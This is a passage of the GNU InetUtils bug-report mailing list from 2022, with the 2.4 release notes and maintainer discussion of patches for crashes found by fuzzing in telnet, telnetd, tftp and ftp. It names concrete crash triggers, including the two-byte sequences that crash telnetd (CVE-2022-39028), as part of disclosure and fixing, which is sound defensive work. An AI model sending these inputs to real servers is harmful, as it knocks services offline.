hexadecimal encoding that most checksum tools default to.

Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact.  First, be sure to download both the .sig file
and the corresponding tarball.  Then, run a command like this:

  gpg --verify inetutils-2.4.tar.gz.sig

The signature should match the fingerprint of the following key:

  pub   ed25519 2019-03-20 [SC]
B1D2 BD13 75BE CB78 4CF4  F8C4 D73C F638 C53C 06BE
  uid   Simon Josefsson 

If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.

  gpg --locate-external-key si...@josefsson.org

  gpg --recv-keys 51722B08FE4745A2

  wget -q -O- 
'https://savannah.gnu.org/project/release-gpgkeys.php?group=inetutils=1'
 | gpg --import -

As a last resort to find the key, you can try the official GNU
keyring:

  wget -q https://ftp.gnu.org/gnu/gnu-keyring.gpg
  gpg --keyring gnu-keyring.gpg --verify inetutils-2.4.tar.gz.sig


This release was bootstrapped with the following tools:
  Gnulib 0814a293a4
  Autoconf 2.69
  Automake 1.16.3
  Bison 3.7.5
  M4 1.4.18
  Makeinfo 6.7
  Help2man 1.48.1
  Make 4.3
  Gzip 1.10
  Tar 1.34

NEWS

* Noteworthy changes in release 2.4 (2022-10-25) [stable]

** ifconfig

*** Support specifying prefix netmask lengths in -A.
Patch by Samuel Thibault .

** Hurd: tell pfinet translator interfaces to configure
Patch by Samuel Thibault .

** ftp

*** Avoid crash caused by signed integer overflow resulting in
out-of-bounds buffer access.  Reported by AiDai in
.

*** Avoid crash caused by heap buffer overflow.  Reported by ZFeiXQ in
.

*** Avoid crash caused by NULL pointer dereference.  Reported by AiDai in
.

*** Avoid crash caused by infinite macro recursion.  Reported by AiDai in
.

** telnetd

*** Avoid crash on 0xff 0xf7 (IAC EC) or 0xff 0xf8 (IAC EL).  CVE-2022-39028
https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html

** telnet

*** Fix a buffer overflow problem.  CVE-2019-0053
https://cgit.freebsd.org/src/commit/?id=14aab889f4e50072a6b914eb95ebbfa939539dad

** tftp

*** Avoid crashing when given unexpected or invalid commands from tty.
Reported by AiDai in
.

** Various bugs fixes, internal improvements and clean ups.
Update of gnulib and build fixes for C23.


signature.asc
Description: PGP signature


Re: Fwd: freeport(1)

2022-10-25 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Hi

Thanks for the contribution.  Given the simplicity of this tool,
together with the inherent race condition, and the availability of a
shell script that offers similar functionality suggested by Alex Colomar
in a reply, my preference is that it is not worth the maintenance burden
to introduce a tool like this into GNU InetUtils.  I think the best
approach is to publish your work as a separate project, and if
eventually there is significant use of it on Unix platforms, we can
always reconsider and include a variant of it in GNU InetUtils.

/Simon

Alejandro Colomar  writes:

> Hi,
>
> Bernd recommended me to consider inetutils for this program (see the
> forwarded mail), since net-tools is deprecated.
>
> Yes, it has a race condition by the nature of the port being free at
> the time the program prints it, but the kernel will not reuse it
> unless all other ports have been used first (AFAIK), so the chances
> are quite low, and also the program for which we will use it is just
> some introductory tutorial, and not something critical.
>
> Options for selecting the interface, and also to select a port range,
> could be implemented easily, and seem useful to me.  (Thanks, Bernd,
> for your recommendations and small review.)
>
> Would you be interested in adding this tool to inetutils?  I would
> help maintain it.
>
> Cheers,
>
> Alex
>
>
>  Forwarded Message 
>
> [resent from a subscribed address; again, since it didn't work...]
> [D'oh, I hadn't confirmed subscription; sorry Mike for spamming you :/]
>
> Hi,
>
> As a side effect of doing some work for NGINX Unit, I developed the
> following program, which I think might be useful for the general
> public and not only for us.  Would you want to pick the program for
> the net-tools project?  I'd be able to help maintain it.  Also, since
> I'm also the maintainer of the Linux man-pages, you can expect that
> I'll provide a manual page for the program.
>
> The program is as simple as it gets.  A draft for the manual page would be:
>
>
> NAME
>  freeport - get a random unused port number
>
> SYNOPSIS
>  freeport
>
> DESCRIPTION
>  This program prints an available IPv4 port and exits.
>
>  The port is chosen at random from the ephemeral ports range
>  (see ip(7)).
>
> EXIT STATUS
>  0Success
>  1Error
>
>  On error, a message is printed on standard error.
>
>
> And the source code is:
>
>
> $ cat freeport.c
> /*
>   * SPDX-License-Identifier:  GPL-2.0-or-later
>   * Copyright 2022  NGINX, Inc.
>   * Copyright 2022  F5, Inc.
>   *
>   * Author:  Alejandro Colomar 
>   */
>
>
> #include 
> #include 
> #include 
> #include 
> #include 
> #include 
>
>
> int32_t get_free_port(void);
>
>
> int
> main(void)
> {
>   int32_t  port;
>
>   port = get_free_port();
>   if (port == -1)
>   exit(EXIT_FAILURE);
>
>   printf("%d\n", port);
>   exit(EXIT_SUCCESS);
> }
>
>
> int32_t
> get_free_port(void)
> {
>   int sfd;
>   int32_t port;
>   socklen_t   len;
>   struct sockaddr_in  addr;
>
>   sfd = socket(PF_INET, SOCK_STREAM, 0);
>   if (sfd == -1) {
>   perror("socket()");
>   return -1;
>   }
>
>   bzero(, sizeof(addr));
>   addr.sin_family = AF_INET;
>   addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
>   addr.sin_port = htons(0);  // random port
>
>   len = sizeof(addr);
>   if (bind(sfd, (struct sockaddr *) , len)) {
>   perror("bind()");
>   goto fail;
>   }
>
>   if (getsockname(sfd, (struct sockaddr *) , )) {
>   perror("getsockname()");
>   goto fail;
>   }
>
>   port = ntohs(addr.sin_port);
>
> fail:
>   close(sfd);
>   return port;
> }
>
>
> Would you be interested in this program?
> It was written on Linux, and I'm not sure about its portability
> (didn't check), so one of the things to check for adding it to
> net-tools would be that.
>
>
> Cheers,
> Alex


signature.asc
Description: PGP signature


Re: [PATCH] ifconfig: Support prefix length.

2022-10-25 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
I have committed this patch here:
https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=afe3168ee9f15783c71653bee0ec97536daaf217

Btw, please add NEWS entries next time.  I added the following,
corrections welcome:
https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=976de5463bedcd8060c79934dcd3da12d2aa8913

/Simon


signature.asc
Description: PGP signature


Re: [PATCH] ifconfig hurd: Notify pfinet of interfaces

2022-10-25 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Hi.  I have commited this now:
https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=0b35abbd7a5d074c7e245a49585b2de036d4dec7

/Simon


signature.asc
Description: PGP signature


Re: [PATCH] ifconfig hurd: Notify pfinet of interfaces

2022-09-28 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Samuel Thibault  writes:

> Hello,
>
> Simon Josefsson, le mer. 28 sept. 2022 13:46:52 +0200, a ecrit:
>> have you signed copyright assignment papers for InetUtils,
>
> I didn't know there was copyright assignment for InetUtils :/
>
> I now have sent the form to the clerk, but really, such process slows
> down contributions, particularly if not all code is copyright by FSF.

Thank you!

If someone could engage with the FSF on what a suitable copyright
assignment policy for InetUtils would be, that would clarify.  I agree
that requiring copyright assignments for a patch that fixes bugs in code
not owned by the FSF anyway is detrimental to contributions.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH] ifconfig hurd: Notify pfinet of interfaces

2022-09-28 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Both your patches looks good to me -- however, have you signed copyright
assignment papers for InetUtils, or how are these contributed?
Generally I'm not sure how useful it is to require copyright assignment
for smaller InetUtils contributions -- the majority of the code is not
copyright by FSF anyway.  If you can sign papers for InetUtils, that
question is not relevant though.

/Simon


signature.asc
Description: PGP signature


Re: How to check for perl or usable printf tools?

2022-09-25 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hello Simon,
>
> On 25.09.22 11:19, Simon Josefsson wrote:
>> Erik Auerswald  writes:
>> 
>>> Hi all,
>>>
>>> On Mon, Sep 12, 2022 at 12:45:32PM +0200, Erik Auerswald wrote:
 On Mon, Sep 12, 2022 at 05:16:00AM -0400, Alfred M. Szmidt wrote:
> > I am trying to use the reported input file that crashes tftp for
> > the test.  This file contains non-printable characters (i.e.,
> > it is a "binary" file).  I do not want to add this binary file
> > as-is to the git repository.
>
> Why?  I don't see anything fundamentally wrong with commiting a
> binary fuzz file that trigger som particular bad behaviour.
>
> Yeah, the other solution are far more cumbersome to maintain than a
> binary file.

 OK, then I'll change the tftp-regressions.sh test to directly use the
 binary input from the fuzzer.
>>>
>>> I have just done this, see commit d3270b73ecf1207d30d852ecc50119cbc4422464.
>> Thank you!
>> I committed some minor fixes to make CI/CD build, see
>> https://gitlab.com/jas/inetutils/-/pipelines/
>
> Your changes to tests/tools.sh did not make it into the attached
> patch or the GNU Inetutils git repository, because it is generated
> from tests/tools.sh.in.  It would be great if you could add them
> there.

Oops, should be fixed now.  The design of tests/tools.sh.in seems
sub-optimal to me, it would be nicer to not use a *.in script and put
the necessary tool paths in environment variables from tests/Makefile.am
instead.

/Simon


signature.asc
Description: PGP signature


Re: How to check for perl or usable printf tools?

2022-09-25 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hi all,
>
> On Mon, Sep 12, 2022 at 12:45:32PM +0200, Erik Auerswald wrote:
>> On Mon, Sep 12, 2022 at 05:16:00AM -0400, Alfred M. Szmidt wrote:
>> >> I am trying to use the reported input file that crashes tftp for
>> >> the test.  This file contains non-printable characters (i.e.,
>> >> it is a "binary" file).  I do not want to add this binary file
>> >> as-is to the git repository.
>> > 
>> >Why?  I don't see anything fundamentally wrong with commiting a
>> >binary fuzz file that trigger som particular bad behaviour.
>> > 
>> > Yeah, the other solution are far more cumbersome to maintain than a
>> > binary file.
>> 
>> OK, then I'll change the tftp-regressions.sh test to directly use the
>> binary input from the fuzzer.
>
> I have just done this, see commit d3270b73ecf1207d30d852ecc50119cbc4422464.

Thank you!

I committed some minor fixes to make CI/CD build, see
https://gitlab.com/jas/inetutils/-/pipelines/

/Simon
From e1a74879088865d9bb01ac7a61ded2b5ecc13fdf Mon Sep 17 00:00:00 2001
From: Simon Josefsson 
Date: Sun, 25 Sep 2022 10:23:54 +0200
Subject: [PATCH] Fix 'make dist' and 'make syntax-check'.

* tests/Makefile.am (EXTRA_DIST): Unconditionally distribute crash file.
* tests/crash-tftp-msg2021-12_18.bin: Renamed.
* cfg.mk (exclude_file_name_regexp--sc_trailing_blank)
(exclude_file_name_regexp--sc_prohibit_empty_lines_at_EOF): Add crash file.
* tests/tools.sh (srcdir): Set fallback srcdir.
* tests/tftp-regressions.sh: Use new filename in srcdir.
---
 cfg.mk  |   5 -
 tests/Makefile.am   |   3 +--
 ...p-msg2021-12_18 => crash-tftp-msg2021-12_18.bin} | Bin
 tests/tftp-regressions.sh   |   2 +-
 4 files changed, 6 insertions(+), 4 deletions(-)
 rename tests/{crash-tftp-msg2021-12_18 => crash-tftp-msg2021-12_18.bin} (100%)

diff --git a/cfg.mk b/cfg.mk
index 3c1bbc87..1138b274 100644
--- a/cfg.mk
+++ b/cfg.mk
@@ -64,7 +64,10 @@ exclude_file_name_regexp--sc_obsolete_symbols = \
 	^tests/identify.c$$
 
 exclude_file_name_regexp--sc_trailing_blank = \
-	^gl/top/README-release.diff$$
+	^(tests/crash-tftp-msg2021-12_18.bin|gl/top/README-release.diff)$$
+
+exclude_file_name_regexp--sc_prohibit_empty_lines_at_EOF = \
+	^tests/crash-tftp-msg2021-12_18.bin$$
 
 sc_unsigned_char:
 	@prohibit=u''_char \
diff --git a/tests/Makefile.am b/tests/Makefile.am
index 82e8209d..ce23a32b 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
@@ -20,7 +20,7 @@ AM_CPPFLAGS = $(iu_INCLUDES)
 
 LDADD = $(iu_LIBRARIES)
 
-EXTRA_DIST = tools.sh.in ifconfig_modes.sh
+EXTRA_DIST = tools.sh.in ifconfig_modes.sh crash-tftp-msg2021-12_18.bin
 
 noinst_PROGRAMS = identify
 identify_LDADD = $(top_builddir)/lib/libgnu.a $(LIBUTIL) $(PTY_LIB)
@@ -46,7 +46,6 @@ if ENABLE_traceroute
 dist_check_SCRIPTS += traceroute-localhost.sh
 endif
 if ENABLE_tftpd
-EXTRA_DIST += crash-tftp-msg2021-12_18
 dist_check_SCRIPTS += tftp-regressions.sh
 endif
 if ENABLE_inetd
diff --git a/tests/crash-tftp-msg2021-12_18 b/tests/crash-tftp-msg2021-12_18.bin
similarity index 100%
rename from tests/crash-tftp-msg2021-12_18
rename to tests/crash-tftp-msg2021-12_18.bin
diff --git a/tests/tftp-regressions.sh b/tests/tftp-regressions.sh
index dd388dc1..cfd35f10 100755
--- a/tests/tftp-regressions.sh
+++ b/tests/tftp-regressions.sh
@@ -52,7 +52,7 @@ RESULT=0
 # https://lists.gnu.org/archive/html/bug-inetutils/2021-12/msg00018.html
 EFFORTS=`expr $EFFORTS + 1`
 $silence echo 'Checking crash bug from message 2021-12/18...' >&2
-"$TFTP" < crash-tftp-msg2021-12_18 >/dev/null 2>&1
+"$TFTP" < $srcdir/crash-tftp-msg2021-12_18.bin >/dev/null 2>&1
 if test $? -ne 0; then
 $silence echo 'Regression of tftp crash bug from message 2021-12/18.' >&2
 RESULT=1
-- 
2.30.2



signature.asc
Description: PGP signature


Re: fixing the ftp crashes found via fuzzer

2022-09-21 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> I'll try to commit and push regression tests and fixes for the first,
> third, and fourth problem during the weekend.

Thank you.

> What do you all think regarding recursive macros (the second problem)?

Having an arbitrary sized recusion limit of, say, depth 100, while not
ideal (not sure what would be?), may be acceptable.  Alternative, simply
document that the code is vulnerable to infinite recursion.

/Simon


signature.asc
Description: PGP signature


Re: How to check for perl or usable printf tools?

2022-09-12 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> I am trying to use the reported input file that crashes tftp for the test.
> This file contains non-printable characters (i.e., it is a "binary" file).
> I do not want to add this binary file as-is to the git repository.

Why?  I don't see anything fundamentally wrong with commiting a binary
fuzz file that trigger som particular bad behaviour.

> Thus I want to create the contents with some widely available tool from
> some description, e.g., hexadecimal byte values.

Awk or ed?

Or 'od'?

> One possibility is printf.  It seems to me as if printf(1) is not yet used
> in GNU Inetutils.  Both the Bash builtin version and the GNU Coreutils
> version of printf support "\xHH" in the format string.  But the Debian
> Almquist Shell (dash) builtin printf does not, at least not in dash
> version 0.5.8-2.10.  The "\xHH" escape sequence is not specified by POSIX.
> (Perhaps I could use octal instead of hexadecimal, since that is specified
> by POSIX, and the printf built into dash supports it.)  Thus we would
> need to check for a usable printf implementation first.  But Autoconf
> does not seem to contain such a macro (I did not see "AC_PROG_PRINTF"
> in the documentation).

If printf is already a fragile tool for this, it sounds like it will
cause problems.

> Another possibility is perl.  Perl is already used in GNU Inetutils,
> for the "bootstrap" script and for "whois".  I did not see an obvious
> perl check in Autoconf (i.e., no "AC_PROG_PERL") in the documentation.
> The test script would need to test if perl is available to avoid a false
> positive test result with broken tftp.

It is only required for developers and 'make dist', isn't it?

> I think I'll just hack something together with printf and octal escape
> sequences, but I would prefer a "proper" Autoconf-based approach.
> Help with Autoconf would be appreciated.

I can help with it, but sounds like it would be nice to settle on a
solution we believe is portable first.

Maybe 'perl' is actually the simplest, and the self-test should SKIP
when perl isn't available?

/Simon


signature.asc
Description: PGP signature


Re: TFTP client crash seems to be caused by missing bounds check in makeargv()

2022-09-08 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hi Simon,
>
> On Tue, Sep 06, 2022 at 08:05:04PM +0200, Simon Josefsson wrote:
>> Erik Auerswald  writes:
>> > On 04.09.22 17:34, Erik Auerswald wrote:
>> >> On 03.09.22 19:07, Erik Auerswald wrote:
>> >>> On Sat, Sep 03, 2022 at 05:39:45PM +0200, Simon Josefsson wrote:
>>  [...]
>>  did you notice some fuzzing report that wasn't fixed?
>> >>> [...]
>> >>> * Problems found in tftp (the code did not change since the report):
>> >>>
>> >>>    * Untrusted Pointer Dereference in getcmd() at
>> >>> inetutils/src/tftp.c:878
>> >>>  
>> >>> https://lists.gnu.org/archive/html/bug-inetutils/2021-12/msg00018.html
>> >> That seems to be a missing bounds check in makeargv(), similar
>> >> to the old, now fixed, code in telnet.
>> >> I'll look into creating a nice reproducer instead of the one
>> >> found by the fuzzer, adding a test case, and fixing the bug.
>> >
>> > That is harder than expected….  Is there a reason *not* to use
>> > the crash input found by the fuzzer in a test for GNU Inetutils?
>> 
>> More testing would be great!
>
> I expect to find the time to finalize this during the coming weekend.
> I intend to use perl to write the fuzzer-generated test input provided
> by AiDai into the tftp client, similar to the telnet tests you have
> added for the respective crash bugs.
>
> After adding the test case I intend to commit the attached patch for tftp.
>
> What do you think?

Looks good to me, please add it.

Better would be to fix arbitrary limitations like this, but I'm mixed
about introducing yet further changes (and new bugs..) compared to BSD
tools.  For now I prefer fixing problems in the most minimal way and
similar way that has been fixed in other implementations.

/Simon

> Thanks,
> Erik
>
> From 0cb957adf678cb32936e5e9ad5727c8ad5e28825 Mon Sep 17 00:00:00 2001
> From: Erik Auerswald 
> Date: Sun, 4 Sep 2022 17:36:22 +0200
> Subject: [PATCH] tftp: ignore excess arguments
>
> When given too many arguments to a command at the tftp cli,
> the buffer used to hold the arguments would overflow.  This
> could result in a crash.
>
> The problem was reported by AiDai in
> .
>
> * src/tftp.c (makeargv): Do not overflow argument buffer.
> ---
>  NEWS   |  6 ++
>  src/tftp.c | 10 +-
>  2 files changed, 15 insertions(+), 1 deletion(-)
>
> diff --git a/NEWS b/NEWS
> index 07115db1..6edeabea 100644
> --- a/NEWS
> +++ b/NEWS
> @@ -8,6 +8,12 @@ GNU inetutils NEWS -- history of user-visible changes.
>  are 0xff 0xf7 (IAC EC) or 0xff 0xf8 (IAC EL).  Reported in:
>  
> .
>  
> +** tftp
> +
> +*** Avoid crashing when given unexpected or invalid commands from tty.
> +Reported by AiDai in
> +.
> +
>  * Noteworthy changes in release 2.3 (2022-07-08) [stable]
>  
>  ** telnet
> diff --git a/src/tftp.c b/src/tftp.c
> index 42abbb4a..6b1e209e 100644
> --- a/src/tftp.c
> +++ b/src/tftp.c
> @@ -122,7 +122,10 @@ static int fromatty;
>  char mode[32];
>  char line[200];
>  int margc;
> -char *margv[20];
> +
> +#define TFTP_MAX_ARGS 20
> +
> +char *margv[TFTP_MAX_ARGS];
>  char *prompt = "tftp";
>  jmp_buf toplevel;
>  void intr (int signo);
> @@ -914,6 +917,11 @@ makeargv (void)
>   cp++;
>if (*cp == '\0')
>   break;
> +  if (margc + 1 >= TFTP_MAX_ARGS)
> + {
> +   fprintf (stderr, "Ignoring excess arguments.\n");
> +   break;
> + }
>*argp++ = cp;
>margc += 1;
>while (*cp != '\0' && !isspace (*cp))


signature.asc
Description: PGP signature


Re: [BUG][PATCH] Someone described a remote DoS Vulnerability in telnetd (dereference NULL pointer ---> SEGV)

2022-09-08 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Guillem Jover  writes:

> [ Resending with To trimmed. ]
>
> Hi!
>
> On Tue, 2022-08-30 at 22:57:51 +0200, Guillem Jover wrote:
>> On Sun, 2022-08-28 at 14:40:44 +0200, Erik Auerswald wrote:
>> > On Sat, Aug 27, 2022 at 07:37:15PM +0200, Erik Auerswald wrote:
>> > > someone has described a remote DoS vulnerability in
>> > > many telnetd implementations that I just happened to
>> > > stumble over:
>> > > 
>> > > https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html
>> > > 
>> > > The vulnerability is a NULL pointer dereference when
>> > > reading either of two two byte sequences:
>> > > 
>> > > 1: 0xff 0xf7
>> > > 2: 0xff 0xf8
>> > > 
>> > > The blog shows GNU Inetutils' telnetd as vulnerable:
>> > > 
>> > > https://pierrekim.github.io/blog/2022-08-24-2-byte-dos-freebsd-netbsd-telnetd-netkit-telnetd-inetutils-telnetd-kerberos-telnetd.html#remote-dos-inetutils
>> 
>> This has been assigned CVE-2022-39028 (I think from the Debian pool),
>> after I reported it to the Debian security team.
>
> While it might have been nice to get this in the commit message, I
> think it would still be nice to add a reference in the NEWS. :)

Added, thank you.

https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=6c3c6acaf352151c6155a8cd78fe490148d0e22a

/Simon


signature.asc
Description: PGP signature


Re: TFTP client crash seems to be caused by missing bounds check in makeargv()

2022-09-06 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hi,
>
> On 04.09.22 17:34, Erik Auerswald wrote:
>> On 03.09.22 19:07, Erik Auerswald wrote:
>>> On Sat, Sep 03, 2022 at 05:39:45PM +0200, Simon Josefsson wrote:
 [...]
 did you notice some fuzzing report that wasn't fixed?
>>> [...]
>>> * Problems found in tftp (the code did not change since the report):
>>>
>>>    * Untrusted Pointer Dereference in getcmd() at
>>> inetutils/src/tftp.c:878
>>>  https://lists.gnu.org/archive/html/bug-inetutils/2021-12/msg00018.html
>> That seems to be a missing bounds check in makeargv(), similar
>> to the old, now fixed, code in telnet.
>> I'll look into creating a nice reproducer instead of the one
>> found by the fuzzer, adding a test case, and fixing the bug.
>
> That is harder than expected….  Is there a reason *not* to use
> the crash input found by the fuzzer in a test for GNU Inetutils?

More testing would be great!  Integrating oss-fuzz would be too...

Re BSD tools: perhaps one way to proceed here is to start to sync code
so we at least have similar code bases to look at?  Maybe we can find
some code that is sufficiently similar so that we can simply setup
scripts to keep the code in sync for the future.  And hopefully make the
set of code that is kept in sync automatically larger and larger.  The
CVE-2019-0053 bug we discovered now was fixed in FreeBSD back in 2005...
I'm sure there are plenty of more discoveries like this waiting for us.
Having more code in sync helps with this.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 3/3] telnet: Avoid command evaluation crashes.

2022-09-06 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

>> You might want to take a look at:
>>
>> 
>
> Thanks for pointing out that patch.  Without it telnet crashes when
> it starts the log in process:
...
> @Simon: if you think it is OK to add this patch to GNU Inetutils,
> feel free to just go ahead and do so.

I can reproduce the problem, and committed the patch.

> Then there is the nagging issue that I did not see how these
> changes prevent the 5000 A bytes from overflowing the now
> 512 byte buffer.  Could it be that there are other bounds
> checks that should be adjusted as well to account for this
> overhead of up to five bytes?  In addition to, not as a
> replacement of, the checks from the patch.

Valgrind doesn't complain on the patched version, but does on the
unpatched version:

==1818584== Invalid write of size 1
==1818584==at 0x1146AB: env_opt_add (telnet.c:1776)
==1818584==by 0x11470F: env_opt_add (telnet.c:1731)
==1818584==by 0x11498E: env_opt.part.0 (telnet.c:1617)
==1818584==by 0x115C15: telrcv (telnet.c:2144)
==1818584==by 0x116054: Scheduler (telnet.c:2437)
==1818584==by 0x1165C6: telnet (telnet.c:2497)
==1818584==by 0x11087D: tn (commands.c:2869)
==1818584==by 0x10D85B: main (main.c:407)
==1818584==  Address 0x4a813a0 is 0 bytes after a block of size 512 alloc'd
==1818584==at 0x483AD7B: realloc (vg_replace_malloc.c:834)
==1818584==by 0x11478A: env_opt_add (telnet.c:1741)
==1818584==by 0x11470F: env_opt_add (telnet.c:1731)
==1818584==by 0x11498E: env_opt.part.0 (telnet.c:1617)
==1818584==by 0x115C15: telrcv (telnet.c:2144)
==1818584==by 0x116054: Scheduler (telnet.c:2437)
==1818584==by 0x1165C6: telnet (telnet.c:2497)
==1818584==by 0x11087D: tn (commands.c:2869)
==1818584==by 0x10D85B: main (main.c:407)

This seems sufficient reason to just apply it.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 3/3] telnet: Avoid command evaluation crashes.

2022-09-03 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

>>  Please test commit access by pushing the patch, after writing
>> a suitable NEWS entry.
>
> I have just committed and pushed the telnetd crash fix patch[1],
> including a NEWS entry.
>
> [1] https://lists.gnu.org/archive/html/bug-inetutils/2022-08/msg2.html

Looks great!  While easy to back-port, it would be nice to get this out
in a release before we go on a multi-year vacation again...  did you
notice some fuzzing report that wasn't fixed?

I have a re-implementation of 'arp' that belongs in inetutils, maybe I
should finally add it...

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 3/3] telnet: Avoid command evaluation crashes.

2022-09-02 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
fre 2022-09-02 klockan 20:37 +0200 skrev Erik Auerswald:
> Hello Simon,
> 
> On Sat, Jul 09, 2022 at 04:23:20PM +0200, Simon Josefsson wrote:
> > [...]
> > What's your savannah username?
> > [...]
> 
> My Savannah username is "auerswal"
> .

Welcome!  Please test commit access by pushing the patch, after writing
a suitable NEWS entry.

/Simon


signature.asc
Description: This is a digitally signed message part


Re: [BUG][PATCH] Someone described a remote DoS Vulnerability in telnetd (dereference NULL pointer ---> SEGV)

2022-08-30 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

>> I have attached a completely untested, not even compile
>> tested, patch to do this (just the code changes, no NEWS
>> or commit log or anything).  Please test before committing.
>
> I have tested the patch now, it compiles and prevents the
> crash by preventing the NULL pointer dereference.

Thanks -- looks good to me, would you like to commit it?  Please add a
suitable NEWS entry.

Do you see any way to check for regressions that doesn't involve running
telnetd/telnet on the command line?  I'm thinking a automake C check
that links to relevant internals.

A new release would be nice, maybe we can throw in some other
improvement as well.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 3/3] telnet: Avoid command evaluation crashes.

2022-08-05 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> The Debian 11 build fails because it attempts to create a release with
> a bogus version number.  The error is:
>
> ...
>   GEN  release-prep
> announce-gen: ./NEWS: no news item found for '42.4711'
> make[3]: *** [maint.mk:1422: announcement] Error 25
> make[2]: *** [maint.mk:1542: release-prep] Error 2
> make[2]: Leaving directory '/builds/jas/inetutils'
> make[1]: *** [maint.mk:1526: stable] Error 2
> make[1]: Leaving directory '/builds/jas/inetutils'
> make: *** [maint.mk:1534: release] Error 2
>
> see https://gitlab.com/jas/inetutils-cicd/-/blob/master/inetutils.yml#L101
> and https://gitlab.com/jas/inetutils-cicd/-/blob/master/inetutils.yml#L102

I have fixed this -- the problem was that the NEWS file didn't have any
entries for the fake release.

>> I'm not that familiar with NixOS but noticed now that builds fail.
>
> The NixOS build fails because of too old Automake:

I don't know how to modify the NixOS build rules -- if you have time to
engage with the NixOS people, it would be nice if they can make this
compile again.  Otherwise, let's just drop that part from
README-release.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 3/3] telnet: Avoid command evaluation crashes.

2022-07-09 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hello Simon,
>
> On Sat, Jul 09, 2022 at 02:36:41PM +0200, Simon Josefsson wrote:
>> Erik Auerswald  writes:
>> > On Fri, Jul 08, 2022 at 08:55:18AM +0200, Erik Auerswald wrote:
>> >> On Fri, Jul 08, 2022 at 12:58:37AM +0200, Simon Josefsson wrote:
>> >> 
>> >> > Thanks for preparing these [...]
>> >> 
>> >> Thanks for applying my patches!
>> >> [...]
>> > The code looks good.  As intended the two genget() changes are not
>> > included, everything else is.  The NEWS entries look good, too.
>> 
>> Thank you!  I don't care strongly about the genget patches,
>
> I might separate the genget() changes out into two patches (they pertain
> to two distinct issues) with individual rationales since they pertain
> to two different possible robustness improvements.
>
>> I mostly have a general concern that we should minimize changes with
>> no externally testable difference.
>
> I agree that the genget() changes lack tests.  I am optimistic that I
> can write tests, probably by checking the error messages.

Great, genget seems like a sufficiently small and easily testable
module, so adding some test cases for it would be nice.  Maybe you can
try commit access with that patch?  What's your savannah username?  I'll
be happy to review a couple of iterations of it first.  While it is
possibly to put self-tests in libtelnet/, I think we should put all of
them in tests/.

While not written down, if it is possible to write the self-test so it
works standalone, third parties can more easily reuse out internal
self-tests.  That is, consider making this possible as well as
integrating it with 'make check':

gcc -o foo -Ilibtelnet libtelnet/genget.c tests/test-genget.c

Maybe you can write test-genget.c so it tests for the corner-cases you
noticed.

> I would suggest to keep our solution

Me too.

/Simon


signature.asc
Description: PGP signature


Re: [PATCH 3/3] telnet: Avoid command evaluation crashes.

2022-07-09 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hello Simon,
>
> On Fri, Jul 08, 2022 at 08:55:18AM +0200, Erik Auerswald wrote:
>> On Fri, Jul 08, 2022 at 12:58:37AM +0200, Simon Josefsson wrote:
>> 
>> > Thanks for preparing these, I should have read through all posts
>> > before started working on them separately... so this patch no longer
>> > applies as is.  Would you like to re-review these, to see if anything
>> > more is still needed after I applied some changes?  Maybe it is just
>> > the NEWS entries.
>> 
>> Thanks for applying my patches!
>> 
>> I'll try to look into this over the weekend, but I cannot promise
>> anything.  But this patch series should just address the same issues
>> as the patches I sent before, perhaps with some smaller differences.
>> It's been some time and I do not remember all the details.
>
> The code looks good.  As intended the two genget() changes are not
> included, everything else is.  The NEWS entries look good, too.

Thank you!  I don't care strongly about the genget patches, I mostly
have a general concern that we should minimize changes with no
externally testable difference.  OTOH, the NetBSD folks patched the
telnet bugs in a different way than we did, and I'm not sure how to
handle that...  we could adopt their solution, or stick with ours.

https://cvsweb.netbsd.org/bsdweb.cgi/src/usr.bin/telnet/commands.c.diff?r1=1.79=1.80_with_tag=MAIN

Let's see if the FreeBSD and OpenBSD folks apply it or come with
something different...

Maybe the goal of harmonizing the various implementations is just a pipe
dream...

/Simon


signature.asc
Description: PGP signature


Re: NULL Pointer Dereference in unsetcmd() at inetutils/telnet/commands.c:1227

2022-07-08 Thread Simon Josefsson via Bug reports for the GNU Internet utilities

> I think we should reach out to some BSD contacts...

http://gnats.netbsd.org/cgi-bin/query-pr-single.pl?number=56918
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=265097
